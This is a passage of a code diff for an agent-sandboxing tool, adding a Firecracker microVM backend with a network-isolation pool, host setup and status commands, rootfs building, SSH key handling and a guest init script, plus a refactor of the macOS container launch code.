or unparseable, since this is an advisory guard, not the fail-closed
isolation check (that's the nft table + post-boot probe)."""
import json
try:
proc = subprocess.run(
["ip", "-json", "route", "show", "table", "all"],
capture_output=True, text=True, check=False,
)
except FileNotFoundError:
return []
if proc.returncode != 0 or not proc.stdout.strip():
return []
try:
routes = json.loads(proc.stdout)
except json.JSONDecodeError:
return []
lo, hi = _pool_span()
conflicts: list[RouteConflict] = []
for r in routes:
if not isinstance(r, dict):
continue
dst = r.get("dst")
dev = r.get("dev", "")
if not isinstance(dst, str) or dst in ("", "default"):
continue
if isinstance(dev, str) and dev.startswith(IFACE_PREFIX):
continue # our own pool link
try:
net = ipaddress.ip_network(dst, strict=False)
except ValueError:
continue
if net.version != 4:
continue
r_lo = int(net.network_address)
r_hi = int(net.broadcast_address)
if r_lo <= hi and lo <= r_hi: # ranges intersect
conflicts.append(RouteConflict(dst=dst, dev=str(dev)))
return conflicts
# --- allocation ------------------------------------------------------
def _lock_dir() -> Path:
d = Path.home() / ".cache" / "bot-bottle" / "firecracker" / "pool"
d.mkdir(parents=True, exist_ok=True)
return d
def allocate(slug: str) -> tuple[Slot, IO[str]]:
"""Claim a free pool slot for one bottle. Returns the slot and the
held lock file — the caller keeps it open for the VM's lifetime and
closes it on teardown; the flock auto-releases if the launcher
crashes, so a slot is never leaked. Dies when the pool is
exhausted.
A per-slot `flock` (rather than inspecting running processes) makes
allocation race-free across concurrent launches without a central
registry: the first launcher to grab the lock owns the slot."""
del slug # logged by the caller; allocation is purely lock-driven
for s in all_slots():
lock_path = _lock_dir() / f"{s.iface}.lock"
handle = open(lock_path, "w", encoding="utf-8")
try:
fcntl.flock(handle, fcntl.LOCK_EX | fcntl.LOCK_NB)
except OSError:
handle.close()
continue
return s, handle
die(f"Firecracker TAP pool exhausted ({pool_size()} slots, all in "
f"use). Stop a running bottle or raise BOT_BOTTLE_FC_POOL_SIZE "
f"and re-run `./cli.py backend setup --backend=firecracker`.")
raise AssertionError("unreachable")
# --- config renderers (shown by `./cli.py backend setup`) -----------
# The persistent unit is the portable install: the same systemd oneshot
# on every systemd distro (Debian/Ubuntu/Fedora/RHEL/Arch/…).
SYSTEMD_UNIT = "bot-bottle-firecracker-netpool.service"
def render_shell_setup() -> str:
"""The imperative one-shot command — non-persistent fallback for
hosts without systemd (OpenRC/runit/manual)."""
env = _nondefault_env()
prefix = f"{env} " if env else ""
return f"sudo {prefix}./scripts/firecracker-netpool.sh up"
def render_systemd_unit(owner: str, script_path: str) -> str:
"""A portable systemd oneshot unit for the pool — identical across
every systemd distro. ExecStart/ExecStop delegate to the bundled
shell script (the single source of bring-up logic); pool params are
pinned via Environment= so the unit matches the CLI's current
settings and doesn't depend on $SUDO_USER at boot (systemd runs it
as root with no SUDO_USER, which would otherwise own the TAPs as
root and break the rootless launch)."""
return f"""[Unit]
Description=bot-bottle Firecracker TAP pool + nft isolation table
After=network-pre.target
Wants=network-pre.target
[Service]
Type=oneshot
RemainAfterExit=yes
Environment=BOT_BOTTLE_FC_POOL_SIZE={pool_size()}
Environment=BOT_BOTTLE_FC_IP_BASE={ip_base()}
Environment=BOT_BOTTLE_FC_IFACE_PREFIX={IFACE_PREFIX}
Environment=BOT_BOTTLE_FC_OWNER={owner}
ExecStart={script_path} up
ExecStop={script_path} down
[Install]
WantedBy=multi-user.target
"""
# The NixOS setup is a real, importable module (nix/firecracker-netpool.nix,
# exposed as the flake output nixosModules.firecracker-netpool) rather than a
# generated paste — see `backend setup` output.
def _nondefault_env() -> str:
"""Render any non-default pool env overrides so the printed shell
command reproduces the operator's current settings."""
pairs = []
if os.environ.get("BOT_BOTTLE_FC_POOL_SIZE"):
pairs.append(f"BOT_BOTTLE_FC_POOL_SIZE={pool_size()}")
if os.environ.get("BOT_BOTTLE_FC_IP_BASE"):
pairs.append(f"BOT_BOTTLE_FC_IP_BASE={ip_base()}")
if os.environ.get("BOT_BOTTLE_FC_IFACE_PREFIX"):
pairs.append(f"BOT_BOTTLE_FC_IFACE_PREFIX={IFACE_PREFIX}")
return " ".join(pairs)
@@ -0,0 +1,47 @@
"""Prepare step for the Firecracker backend."""
from __future__ import annotations
from pathlib import Path
from ...agent_provider import AgentProvisionPlan
from ...egress import EgressPlan
from ...env import ResolvedEnv
from ...git_gate import GitGatePlan
from ...manifest import Manifest
from ...supervise import SupervisePlan
from .. import BottleSpec
from . import util
from .bottle_plan import FirecrackerBottlePlan
def preflight() -> None:
util.require_firecracker()
def build_guest_env(resolved_env: ResolvedEnv) -> dict[str, str]:
return dict(resolved_env.literals)
def resolve_plan(
spec: BottleSpec,
manifest: Manifest,
slug: str,
resolved_env: ResolvedEnv,
agent_provision_plan: AgentProvisionPlan,
egress_plan: EgressPlan,
supervise_plan: SupervisePlan | None,
git_gate_plan: GitGatePlan,
stage_dir: Path,
) -> FirecrackerBottlePlan:
return FirecrackerBottlePlan(
spec=spec,
manifest=manifest,
stage_dir=stage_dir,
slug=slug,
forwarded_env=dict(resolved_env.forwarded),
git_gate_plan=git_gate_plan,
egress_plan=egress_plan,
supervise_plan=supervise_plan,
agent_provision=agent_provision_plan,
)
+276
View File
@@ -0,0 +1,276 @@
"""Host setup + status for the Firecracker backend.
`setup()` prints the host-appropriate config for the privileged,
one-time network pool (TAP devices + isolation nftables table) the
backend needs. On NixOS it points at the flake module (and prints a
paste-able fallback); elsewhere it prints the sudo command for the
bundled setup script. `status()` reports what's present, including
whether the pool range collides with an existing route.
Called through `FirecrackerBottleBackend.setup` / `.status`, which the
generic `./cli.py backend {setup,status}` command dispatches to.
"""
from __future__ import annotations
import os
import shutil
import subprocess
import sys
from pathlib import Path
from . import netpool
from . import util
_FC_RELEASES = "https://github.com/firecracker-microvm/firecracker/releases"
_UNIT_PATH = Path("/etc/systemd/system") / netpool.SYSTEMD_UNIT
def _owner() -> str:
# Under `sudo`, USER is root but SUDO_USER is the real invoker — the
# TAPs must be owned by them so `./cli.py start` stays rootless.
return os.environ.get("SUDO_USER") or os.environ.get("USER") or "youruser"
def _has_systemd() -> bool:
return Path("/run/systemd/system").is_dir()
def _module_path() -> str:
"""Absolute path to the importable NixOS module in this checkout."""
return str(Path(__file__).resolve().parents[3] / "nix" / "firecracker-netpool.nix")
def _script_path() -> str:
"""Absolute path to the bundled bring-up script in this checkout."""
return str(Path(__file__).resolve().parents[3] / "scripts" / "firecracker-netpool.sh")
def _print_prereqs() -> None:
"""The firecracker binary + KVM + guest artifacts, shown before the
privileged network-pool step so operators see the full picture."""
fc = shutil.which("firecracker")
if fc:
sys.stderr.write(f"1) firecracker binary: found ({fc}).\n")
else:
sys.stderr.write(
"1) firecracker binary: NOT found on PATH. Install a release binary "
"and put it on PATH:\n"
f" {_FC_RELEASES}\n"
" e.g.: download firecracker-vX.Y.Z-$(uname -m).tgz, extract, and\n"
" install -m755 release-*/firecracker-* ~/.local/bin/firecracker\n"
" (NixOS: not packaged as a user binary — fetch the release, pin\n"
" the version, and add it to PATH.)\n"
)
if util.is_host_capable():
sys.stderr.write(" KVM: /dev/kvm present.\n")
else:
sys.stderr.write(
" KVM: /dev/kvm missing/unusable — load kvm-intel/kvm-amd, enable\n"
" virtualization in firmware, and add your user to the `kvm` group.\n"
)
sys.stderr.write(
" Guest artifacts: a kernel (BOT_BOTTLE_FC_KERNEL) and static dropbear\n"
" (BOT_BOTTLE_FC_DROPBEAR) must be cached, and `mke2fs` (e2fsprogs) is\n"
" needed to build the rootfs.\n\n"
)
def _is_nixos() -> bool:
if Path("/etc/NIXOS").exists():
return True
try:
return "ID=nixos" in Path("/etc/os-release").read_text()
except OSError:
return False
def _warn_overlaps() -> None:
"""Warn if the chosen pool range collides with an existing host route
(Tailscale CGNAT peer, a docker/libvirt bridge, the LAN…)."""
conflicts = netpool.overlapping_routes()
if not conflicts:
return
detail = "\n".join(f" {c.dst} dev {c.dev}" for c in conflicts)
sys.stderr.write(
f"WARNING: pool range (base {netpool.ip_base()}, "
f"{netpool.pool_size()} slots) overlaps existing routes:\n"
f"{detail}\n"
"Set BOT_BOTTLE_FC_IP_BASE to a free range before setup, or the "
"pool may shadow / be shadowed by the above.\n\n"
)
def setup() -> int:
sys.stderr.write("Firecracker backend — one-time host setup.\n\n")
_print_prereqs()
slots = netpool.all_slots()
sys.stderr.write(
f"2) network pool: {len(slots)} slots "
f"({slots[0].iface}..{slots[-1].iface}), base {netpool.ip_base()}"
f"TAP devices + nft isolation table, privileged (needs root once).\n\n"
)
_warn_overlaps()
if _is_nixos():
sys.stderr.write(
"Detected NixOS. Import the module — it is NON-INVASIVE: it does "
"not flip networking.nftables.enable or systemd.network.enable, so "
"your existing (iptables) firewall and Docker are untouched. A "
"systemd oneshot brings the pool up alongside them.\n\n"
" # flake users:\n"
" inputs.bot-bottle.url = \"git+ssh://<your-bot-bottle-remote>\";\n"
" imports = [ inputs.bot-bottle.nixosModules.firecracker-netpool ];\n"
" # channel (non-flake) users — import the file directly:\n"
f" imports = [ {_module_path()} ];\n\n"
f" services.bot-bottle-firecracker = {{ enable = true; owner = \"{_owner()}\"; }};\n\n"
"Then `nixos-rebuild switch`.\n"
)
elif _has_systemd():
_setup_systemd()
else:
sys.stderr.write(
"No systemd detected. Run the one-time bring-up as root (and add "
"your own boot persistence — e.g. an OpenRC/runit service):\n\n"
)
sys.stdout.write(netpool.render_shell_setup() + "\n")
return 0
def _setup_systemd() -> None:
"""Install the pool as a persistent systemd unit — the portable path,
identical on every systemd distro. Performs the install directly when
run as root; otherwise prints a self-contained copy-paste block."""
unit = netpool.render_systemd_unit(_owner(), _script_path())
sys.stderr.write(
f"Persistent install (systemd — same on every systemd distro). Needs "
f"`nft` (nftables) and `ip` (iproute2); install via your package "
f"manager if `backend status` reports them missing.\n\n"
)
if os.geteuid() == 0:
_UNIT_PATH.write_text(unit)
subprocess.run(["systemctl", "daemon-reload"], check=False)
rc = subprocess.run(
["systemctl", "enable", "--now", netpool.SYSTEMD_UNIT], check=False,
).returncode
if rc == 0:
sys.stderr.write(
f"Installed and started {netpool.SYSTEMD_UNIT}. Verify with "
f"`./cli.py backend status --backend=firecracker`.\n"
)
else:
sys.stderr.write(
f"Wrote {_UNIT_PATH} but `systemctl enable --now` failed — "
f"check `systemctl status {netpool.SYSTEMD_UNIT}`.\n"
)
return
sys.stderr.write(
"Install the unit (one copy-paste; enables it on boot too):\n\n"
)
sys.stdout.write(
f"sudo tee {_UNIT_PATH} >/dev/null <<'UNIT'\n"
f"{unit}"
f"UNIT\n"
f"sudo systemctl daemon-reload\n"
f"sudo systemctl enable --now {netpool.SYSTEMD_UNIT}\n"
)
sys.stderr.write(
f"\n(Or re-run this as root to install it directly: "
f"sudo ./cli.py backend setup --backend=firecracker)\n"
)
def teardown() -> int:
slots = netpool.all_slots()
sys.stderr.write(
f"Undo the Firecracker network pool ({len(slots)} slots, base "
f"{netpool.ip_base()}) — a privileged operation.\n\n"
)
if _is_nixos():
sys.stderr.write(
"On NixOS: set `services.bot-bottle-firecracker.enable = false;` "
"(or drop the module import) and `nixos-rebuild switch`. The TAP "
"netdevs and nft table are removed declaratively.\n\n"
"To tear down imperatively before a rebuild (does not persist):\n\n"
)
sys.stdout.write("sudo ./scripts/firecracker-netpool.sh down\n")
return 0
if _has_systemd():
if os.geteuid() == 0:
subprocess.run(
["systemctl", "disable", "--now", netpool.SYSTEMD_UNIT],
check=False,
)
_UNIT_PATH.unlink(missing_ok=True)
subprocess.run(["systemctl", "daemon-reload"], check=False)
sys.stderr.write(
f"Stopped, disabled, and removed {netpool.SYSTEMD_UNIT}.\n"
)
else:
sys.stderr.write("Remove the persistent unit (one copy-paste):\n\n")
sys.stdout.write(
f"sudo systemctl disable --now {netpool.SYSTEMD_UNIT}\n"
f"sudo rm -f {_UNIT_PATH}\n"
f"sudo systemctl daemon-reload\n"
)
return 0
sys.stderr.write("Run the teardown as root:\n\n")
sys.stdout.write("sudo ./scripts/firecracker-netpool.sh down\n")
return 0
def status() -> int:
# Readiness == what the launch preflight hard-requires: the TAP pool
# present (unprivileged, authoritative) and no range overlap. Listing
# the nft table usually needs root, so — like the preflight — an
# unconfirmable table is reported but NOT treated as not-ready; the
# post-boot isolation probe is the authoritative check. This keeps an
# unprivileged `backend status` usable as a launch gate.
ok = True
missing = netpool.missing_taps()
total = netpool.pool_size()
if missing:
sys.stderr.write(f"TAP pool: {total - len(missing)}/{total} present "
f"(missing: {', '.join(missing)})\n")
ok = False
else:
sys.stderr.write(f"TAP pool: {total}/{total} present\n")
if shutil.which("nft") is None:
sys.stderr.write(f"nft table inet {netpool.NFT_TABLE}: unverified "
f"(nft not on PATH; enforced + checked post-boot)\n")
elif netpool.nft_table_present():
sys.stderr.write(f"nft table inet {netpool.NFT_TABLE}: present\n")
else:
sys.stderr.write(f"nft table inet {netpool.NFT_TABLE}: not confirmable "
f"unprivileged (listing needs root; verified post-boot)\n")
conflicts = netpool.overlapping_routes()
if conflicts:
detail = ", ".join(f"{c.dst} dev {c.dev}" for c in conflicts)
sys.stderr.write(f"range overlap: base {netpool.ip_base()} CLASHES "
f"with {detail}\n")
ok = False
else:
sys.stderr.write(f"range overlap: none (base {netpool.ip_base()})\n")
_report_persistence()
if not ok:
sys.stderr.write("\nRun: ./cli.py backend setup --backend=firecracker\n")
return 0 if ok else 1
def _report_persistence() -> None:
"""Report whether the pool is installed as the persistent systemd
unit (so it survives reboot) vs brought up imperatively. Advisory —
doesn't affect launch readiness."""
if not _has_systemd():
return
state = subprocess.run(
["systemctl", "is-active", netpool.SYSTEMD_UNIT],
capture_output=True, text=True, check=False,
).stdout.strip() or "unknown"
if state == "active":
sys.stderr.write(f"persistence: {netpool.SYSTEMD_UNIT} active "
f"(survives reboot)\n")
else:
sys.stderr.write(f"persistence: {netpool.SYSTEMD_UNIT} {state} — pool "
f"is not installed as a persistent unit (install with "
f"`backend setup` so it survives reboot)\n")
+323
View File
@@ -0,0 +1,323 @@
"""Host-side primitives for the Firecracker backend.
Covers the pieces that don't need root at launch time: locating the
firecracker binary / guest kernel / injected dropbear, the fail-closed
preflight (KVM + kernel + isolation table + TAP pool must all be
present before a VM boots), the rootless rootfs pipeline
(`docker export` -> `mke2fs -d`, no mount), and per-bottle SSH key
generation.
The privileged network setup (TAP pool + nft table) is a one-time
operator step — see `netpool.py`, `scripts/firecracker-netpool.sh`,
and `./cli.py backend setup --backend=firecracker`.
"""
from __future__ import annotations
import os
import platform
import shutil
import subprocess
from pathlib import Path
from ...log import die, info, warn
from . import netpool
# Guest agent images are Debian-family with USER node; the VM is
# reached over SSH as root (init drops the pubkey into both root's and
# node's authorized_keys) and commands `runuser` down to node.
GUEST_SSH_USER = "root"
# `/dev/kvm` must exist and be openable by the invoking user.
_KVM_DEVICE = "/dev/kvm"
def cache_dir() -> Path:
d = Path(
os.environ.get(
"BOT_BOTTLE_FC_CACHE",
str(Path.home() / ".cache" / "bot-bottle" / "firecracker"),
)
)
d.mkdir(parents=True, exist_ok=True)
return d
def kernel_path() -> Path:
return Path(os.environ.get("BOT_BOTTLE_FC_KERNEL", str(cache_dir() / "vmlinux")))
def dropbear_path() -> Path:
"""The static dropbear injected into every guest rootfs as its SSH
server. Must be statically linked — the guest has none of the
host's shared libraries."""
return Path(
os.environ.get("BOT_BOTTLE_FC_DROPBEAR", str(cache_dir() / "dropbear"))
)
# --- availability + preflight ---------------------------------------
def is_linux() -> bool:
return platform.system() == "Linux"
def is_host_capable() -> bool:
"""Whether this host *could* run firecracker — Linux with KVM —
regardless of whether the `firecracker` binary is installed. Used
for default-backend selection so a KVM Linux host that hasn't
installed firecracker yet still selects it and gets an install
pointer at launch (see `require_firecracker`), rather than silently
falling back to docker."""
return is_linux() and os.path.exists(_KVM_DEVICE)
def is_available() -> bool:
"""Cheap capability probe used by cross-backend enumeration —
firecracker on PATH, on Linux, with KVM. Does not check the
(operator-provisioned) kernel / pool, so an available-but-unset
host still shows up and gets an actionable error at launch."""
return is_host_capable() and shutil.which("firecracker") is not None
def require_firecracker() -> None:
"""Fail-closed preflight. Every check that gates the security
boundary (the isolation table, the TAP pool) errors rather than
booting a VM without it."""
if not is_linux():
die("firecracker backend is only supported on Linux (KVM). "
"On macOS use --backend=macos-container.")
if shutil.which("firecracker") is None:
info("Firecracker is required but was not found on PATH.")
info("Install: https://github.com/firecracker-microvm/firecracker/releases")
die("firecracker not found on PATH")
_require_kvm()
if not kernel_path().is_file():
die(f"guest kernel not found at {kernel_path()}. Set "
"BOT_BOTTLE_FC_KERNEL or place a vmlinux there.")
if not dropbear_path().is_file():
die(f"static dropbear not found at {dropbear_path()}. Set "
"BOT_BOTTLE_FC_DROPBEAR or cache one there.")
if shutil.which("mke2fs") is None:
die("mke2fs (e2fsprogs) not found — required to build guest rootfs")
_require_network_pool()
def _require_kvm() -> None:
if not os.path.exists(_KVM_DEVICE):
die(f"{_KVM_DEVICE} is missing. Enable KVM (load kvm-intel/kvm-amd; "
"confirm virtualization is on in firmware).")
if not os.access(_KVM_DEVICE, os.R_OK | os.W_OK):
die(f"{_KVM_DEVICE} exists but is not accessible. Add your user to "
"the `kvm` group and re-login.")
def _require_network_pool() -> None:
"""Fail-closed on the parts we can check unprivileged; defer the
rest to the post-boot isolation probe.
The TAP pool is verified here (`ip link show` is unprivileged). The
nft table can only be *confirmed present* here when `nft` is
queryable — which usually needs root — so a missing/absent nft is
not treated as fatal at this stage: the authoritative check is the
empirical isolation probe run after boot, before the agent starts
(see isolation_probe.verify_isolation). What we must never do is
boot without the TAP pool."""
conflicts = netpool.overlapping_routes()
if conflicts:
detail = "; ".join(f"{c.dst} dev {c.dev}" for c in conflicts)
warn(f"Firecracker pool range ({netpool.ip_base()}, "
f"{netpool.pool_size()} slots) overlaps existing routes: "
f"{detail}. This can shadow or be shadowed by that route; "
f"set BOT_BOTTLE_FC_IP_BASE to a free range and re-run "
f"./cli.py backend setup --backend=firecracker.")
missing = netpool.missing_taps()
if missing:
die(f"network pool incomplete — missing TAP devices: "
f"{', '.join(missing)}.\n ./cli.py backend setup --backend=firecracker")
if shutil.which("nft") is not None and not netpool.nft_table_present():
# nft is queryable and says the table is absent — that's a
# definite, catchable misconfiguration; fail early.
warn(f"isolation table `inet {netpool.NFT_TABLE}` not found via nft. "
"If this is a permissions issue it will be re-checked "
"empirically after boot; otherwise run: "
"./cli.py backend setup --backend=firecracker")
# --- rootfs pipeline (rootless) -------------------------------------
def docker_image_id(ref: str) -> str:
"""The image's content digest, used as the rootfs cache key."""
result = subprocess.run(
["docker", "image", "inspect", "--format", "{{.Id}}", ref],
capture_output=True, text=True, check=False,
)
if result.returncode != 0 or not result.stdout.strip():
die(f"docker image inspect for {ref!r} failed: "
f"{(result.stderr or '').strip() or '<no output>'}")
return result.stdout.strip().replace("sha256:", "")[:16]
def build_base_rootfs_dir(image_ref: str) -> Path:
"""Export the agent image's filesystem and inject the guest init +
static dropbear. Cached by image digest — the per-bottle bits
(authorized_keys, IP) are passed at boot via the kernel cmdline, so
this tree carries nothing bottle-specific and is safely shared.
Returns the prepared directory (read as the `mke2fs -d` source)."""
digest = docker_image_id(image_ref)
base = cache_dir() / "rootfs" / digest
ready = base / ".bb-ready"
if ready.is_file():
return base
if base.exists():
shutil.rmtree(base, ignore_errors=True)
base.mkdir(parents=True)
info(f"exporting {image_ref} rootfs -> {base}")
cid = subprocess.run(
["docker", "create", image_ref, "sleep", "infinity"],
capture_output=True, text=True, check=False,
)
if cid.returncode != 0 or not cid.stdout.strip():
die(f"docker create {image_ref!r} failed: {cid.stderr.strip()}")
container = cid.stdout.strip()
try:
export = subprocess.Popen(
["docker", "export", container], stdout=subprocess.PIPE,
)
untar = subprocess.run(
["tar", "-x", "-C", str(base)], stdin=export.stdout, check=False,
)
export.wait()
if export.returncode != 0 or untar.returncode != 0:
die(f"exporting rootfs for {image_ref!r} failed")
finally:
subprocess.run(
["docker", "rm", "-f", container],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False,
)
_inject_guest_boot(base)
ready.write_text("ok\n")
return base
def _inject_guest_boot(rootfs: Path) -> None:
"""Drop the static dropbear and the PID-1 init into the rootfs."""
shutil.copy2(dropbear_path(), rootfs / "bb-dropbear")
os.chmod(rootfs / "bb-dropbear", 0o755)
init = rootfs / "bb-init"
init.write_text(_GUEST_INIT)
os.chmod(init, 0o755)
def build_rootfs_ext4(base_dir: Path, out_path: Path, *, slack_mib: int = 1024) -> None:
"""Build a fresh, writable ext4 for one bottle from the cached base
dir. Rootless: `mke2fs -d` populates the image from a directory
without mounting. Each call produces an independent disk, so the
shared base dir stays untouched and concurrent bottles don't race."""
used_mib = _dir_size_mib(base_dir)
size_mib = used_mib + slack_mib
out_path.parent.mkdir(parents=True, exist_ok=True)
result = subprocess.run(
["mke2fs", "-q", "-t", "ext4", "-d", str(base_dir), "-F",
str(out_path), f"{size_mib}M"],
capture_output=True, text=True, check=False,
)
if result.returncode != 0:
die(f"mke2fs for {out_path} failed: {result.stderr.strip()}")
def _dir_size_mib(path: Path) -> int:
result = subprocess.run(
["du", "-sm", str(path)], capture_output=True, text=True, check=False,
)
try:
return int(result.stdout.split()[0])
except (ValueError, IndexError):
return 2048
# --- per-bottle SSH keys --------------------------------------------
def generate_keypair(dest_dir: Path) -> tuple[Path, str]:
"""Mint a per-bottle ed25519 keypair. Returns (private_key_path,
public_key_line). The public line is injected into the guest via
the boot cmdline; the private key authenticates host->guest SSH."""
dest_dir.mkdir(parents=True, exist_ok=True)
key = dest_dir / "bottle_id_ed25519"
if key.exists():
key.unlink()
(dest_dir / "bottle_id_ed25519.pub").unlink(missing_ok=True)
subprocess.run(
["ssh-keygen", "-t", "ed25519", "-N", "", "-q", "-f", str(key),
"-C", "bot-bottle-firecracker"],
check=True,
)
pub = (dest_dir / "bottle_id_ed25519.pub").read_text().strip()
return key, pub
def ssh_base_argv(private_key: Path, guest_ip: str) -> list[str]:
"""Common SSH options for host->guest control. The VM is ephemeral
and per-bottle, so host-key TOFU is meaningless — pin no known_hosts
and skip the check rather than accumulate churn."""
return [
"ssh",
"-i", str(private_key),
# Only offer the per-bottle key — don't let an agent or the
# operator's ~/.ssh/config inject other identities (newer
# OpenSSH otherwise may not reliably present the -i key).
"-o", "IdentitiesOnly=yes",
"-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null",
"-o", "LogLevel=ERROR",
"-o", "ConnectTimeout=5",
f"{GUEST_SSH_USER}@{guest_ip}",
]
# PID-1 init injected into every guest. Kept dependency-light: relies
# only on coreutils + a POSIX shell (present in the Debian-family agent
# images). The kernel `ip=` cmdline configures eth0 before init runs,
# so no iproute2 is needed. The per-bottle SSH pubkey arrives base64 on
# the cmdline; dropbear generates ephemeral host keys with -R.
_GUEST_INIT = r"""#!/bin/sh
# bot-bottle Firecracker guest init (PID 1).
mount -t proc proc /proc 2>/dev/null
mount -t sysfs sys /sys 2>/dev/null
mount -t devtmpfs dev /dev 2>/dev/null
mkdir -p /dev/pts && mount -t devpts devpts /dev/pts 2>/dev/null
mount -o remount,rw / 2>/dev/null
# Install the per-bottle SSH pubkey from the kernel cmdline.
KEY=$(sed -n 's/.*bb_pubkey=\([^ ]*\).*/\1/p' /proc/cmdline | base64 -d 2>/dev/null)
if [ -n "$KEY" ]; then
for home in /root /home/node; do
mkdir -p "$home/.ssh"
printf '%s\n' "$KEY" > "$home/.ssh/authorized_keys"
chmod 700 "$home/.ssh"
chmod 600 "$home/.ssh/authorized_keys"
done
chown -R node:node /home/node/.ssh 2>/dev/null || true
fi
# The rootless rootfs build (`docker export | tar` as a non-root user)
# can't preserve uid 0, so every path lands owned by the build uid,
# which maps to `node` (uid 1000) in-guest — including /root. dropbear
# (like OpenSSH) refuses root's authorized_keys unless the home dir is
# owned by root, so restore root's ownership of its own home.
chown -R 0:0 /root 2>/dev/null || true
mkdir -p /etc/dropbear /run
# -R: generate host keys on demand. -E: log auth failures to stderr,
# captured in the host-side console.log for debugging.
/bb-dropbear -R -E -p 22 &
# Reap zombies as PID 1. dropbear is always a child, so `wait` blocks
# rather than busy-looping.
while : ; do wait ; done
"""
+4 -4
View File
@@ -90,11 +90,11 @@ def get_freezer(backend_name: str) -> Freezer:
if resolved == "macos-container":
from .macos_container.freezer import MacosContainerFreezer
return MacosContainerFreezer()
if resolved == "smolmachines":
from .smolmachines.freezer import SmolmachinesFreezer
return SmolmachinesFreezer()
if resolved == "firecracker":
from .firecracker.freezer import FirecrackerFreezer
return FirecrackerFreezer()
die(
f"commit is only supported for docker, macos-container, and "
f"smolmachines; backend {backend_name!r} has no freezer"
f"firecracker; backend {backend_name!r} has no freezer"
)
raise AssertionError("unreachable")
+19 -10
View File
@@ -12,7 +12,7 @@ from ...env import ResolvedEnv
from ...git_gate import GitGatePlan
from ...supervise import SupervisePlan
from ...manifest import Manifest
from .. import ActiveAgent, BottleBackend, BottleImages, BottleSpec
from .. import ActiveAgent, BottleBackend, BottleSpec
from . import cleanup as _cleanup
from . import enumerate as _enumerate
from . import launch as _launch
@@ -36,6 +36,21 @@ class MacosContainerBottleBackend(
def is_available(cls) -> bool:
return _container.is_available()
@classmethod
def setup(cls) -> int:
from . import setup as _setup
return _setup.setup()
@classmethod
def status(cls) -> int:
from . import setup as _setup
return _setup.status()
@classmethod
def teardown(cls) -> int:
from . import setup as _setup
return _setup.teardown()
def _preflight(self) -> None:
_resolve_plan.preflight()
@@ -67,17 +82,11 @@ class MacosContainerBottleBackend(
stage_dir=stage_dir,
)
def prelaunch_checks(self, plan: MacosContainerBottlePlan) -> None:
_launch.stale_checks(plan)
def _build_or_load_images(self, plan: MacosContainerBottlePlan) -> BottleImages:
return _launch.build_or_load_images(plan)
@contextmanager
def _launch_impl(
self, plan: MacosContainerBottlePlan, images: BottleImages
def launch(
self, plan: MacosContainerBottlePlan
) -> Generator[MacosContainerBottle, None, None]:
with _launch.launch(plan, images, provision=self.provision) as bottle:
with _launch.launch(plan, provision=self.provision) as bottle:
yield bottle
def prepare_cleanup(self) -> MacosContainerBottleCleanupPlan:
+22 -52
View File
@@ -32,9 +32,7 @@ from ...git_gate import (
provision_git_gate_dynamic_keys,
revoke_git_gate_provisioned_keys,
)
from ...image_cache import check_stale
from ...log import die, info, warn
from .. import BottleImages
from ...supervise import DB_PATH_IN_CONTAINER, SUPERVISE_PORT
from ...util import expand_tilde
from ..docker.egress import EGRESS_CA_IN_CONTAINER, EGRESS_PORT
@@ -73,51 +71,17 @@ def sidecar_container_name(slug: str) -> str:
return f"bot-bottle-sidecars-{slug}"
def build_or_load_images(plan: MacosContainerBottlePlan) -> BottleImages:
"""Resolve agent and sidecar image refs. Builds the sidecar when needed,
but never builds the agent when policy is 'cached'."""
committed = read_committed_image(plan.slug)
if committed and container_mod.image_exists(committed):
info(f"using committed image {committed!r}")
if plan.spec.image_policy != "cached":
container_mod.build_image(SIDECAR_BUNDLE_IMAGE, _REPO_DIR, dockerfile=SIDECAR_BUNDLE_DOCKERFILE)
return BottleImages(agent=committed, sidecar=SIDECAR_BUNDLE_IMAGE)
if plan.spec.image_policy == "cached":
if not container_mod.image_exists(plan.image):
die(
f"cached agent image {plan.image!r} not found; "
"run without --cached-images to build it"
)
if not container_mod.image_exists(SIDECAR_BUNDLE_IMAGE):
die(
f"cached sidecar image {SIDECAR_BUNDLE_IMAGE!r} not found; "
"run without --cached-images to build it"
)
info(f"using cached agent image {plan.image!r}")
info(f"using cached sidecar image {SIDECAR_BUNDLE_IMAGE!r}")
return BottleImages(agent=plan.image, sidecar=SIDECAR_BUNDLE_IMAGE)
container_mod.build_image(SIDECAR_BUNDLE_IMAGE, _REPO_DIR, dockerfile=SIDECAR_BUNDLE_DOCKERFILE)
container_mod.build_image(plan.image, _REPO_DIR, dockerfile=plan.dockerfile_path)
return BottleImages(agent=plan.image, sidecar=SIDECAR_BUNDLE_IMAGE)
@contextmanager
def launch(
plan: MacosContainerBottlePlan,
images: BottleImages,
*,
provision: Callable[[MacosContainerBottlePlan, "MacosContainerBottle"], str | None],
) -> Generator[MacosContainerBottle, None, None]:
"""Run, provision, and yield an Apple Container bottle."""
"""Build, run, provision, and yield an Apple Container bottle."""
stack = ExitStack()
bottle_for_revoke = plan.manifest.bottle
git_gate_dir_for_revoke = git_gate_state_dir(plan.slug)
plan = dataclasses.replace(
plan,
agent_provision=dataclasses.replace(plan.agent_provision, image=str(images.agent)),
)
def teardown() -> None:
teardown_exc: BaseException | None = None
try:
@@ -131,6 +95,7 @@ def launch(
try:
plan = _mint_certs(plan)
plan = _build_images(plan)
internal_network = internal_network_name(plan.slug)
egress_network = egress_network_name(plan.slug)
@@ -183,23 +148,28 @@ def _mint_certs(plan: MacosContainerBottlePlan) -> MacosContainerBottlePlan:
return dataclasses.replace(plan, egress_plan=egress_plan)
def stale_checks(plan: MacosContainerBottlePlan) -> None:
"""Raise StaleImageError if a cached image is older than the configured
threshold. Only runs when image_policy is 'cached'. Called by the backend
class's _image_stale_checks before _launch_impl starts any resources."""
if plan.spec.image_policy != "cached":
return
def _build_images(plan: MacosContainerBottlePlan) -> MacosContainerBottlePlan:
container_mod.build_image(
SIDECAR_BUNDLE_IMAGE,
_REPO_DIR,
dockerfile=SIDECAR_BUNDLE_DOCKERFILE,
)
committed = read_committed_image(plan.slug)
if committed and container_mod.image_exists(committed):
check_stale(f"agent image {committed!r}", container_mod.image_created_at(committed))
return
for label, ref in [
("agent image", plan.image),
("sidecar image", SIDECAR_BUNDLE_IMAGE),
]:
if container_mod.image_exists(ref):
check_stale(f"{label} {ref!r}", container_mod.image_created_at(ref))
info(f"using committed image {committed!r}")
return dataclasses.replace(
plan,
agent_provision=dataclasses.replace(
plan.agent_provision,
image=committed,
),
)
container_mod.build_image(
plan.image,
